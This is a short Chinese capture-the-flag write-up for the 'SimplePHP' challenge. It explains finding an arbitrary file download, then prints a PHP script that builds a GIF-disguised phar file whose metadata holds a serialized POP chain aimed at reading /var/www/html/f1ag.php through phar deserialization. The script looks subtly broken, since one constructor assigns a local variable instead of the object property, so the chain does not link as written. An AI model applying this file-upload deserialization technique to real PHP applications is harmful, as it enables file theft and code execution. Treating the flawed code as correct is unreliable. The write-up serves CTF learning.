# SimplePHP

存在任意文件下载，拉下来六个文件

<figure><img src="https://1298837596-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUlxElCQcjylbSFsJycU3%2Fuploads%2FsBBxVWx95o6NlGTgevTo%2F1.png?alt=media&#x26;token=edf86dc3-6452-4156-b287-1b249f41612a" alt=""><figcaption></figcaption></figure>

比较重要的就是class、file、function文件，看文件闭着眼睛就能推测有phar反序列化，上传的phar文件反序列化getshell，接下来就是理清利用链了（不过PHP8已经禁止phar反序列化了，感觉没意思）。

> 更新一下判断phar的原因：有文件上传点，有文件读取点，且文件后缀名存在过滤，但是phar反序列化不受影响；过滤了很多协议，但是没过滤phar协议、class.php中存在pop链利用的可能，但是没有unserialize()。

```
<?php

class C1e4r {
    public $test;
    public $str;

    public function __construct() {
        $this->str = new Show();
    }
}

class Show {
    public $source;
    public $str;

    public function __construct() {
        $str['str'] = new Test();
    }
}

class Test {
    public $file;
    public $params;

    public function __construct() {
        $this->params['source'] = "/var/www/html/f1ag.php";
    }
}

$c1e4r = new C1e4r();
$phar = new Phar("exp.phar");
$phar->startBuffering();
$phar->setStub('GIF89a<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($c1e4r);
$phar->addFromString("exp.txt", "test");
$phar->stopBuffering();

?>
```

修改文件名上传，计算md5拿flag。
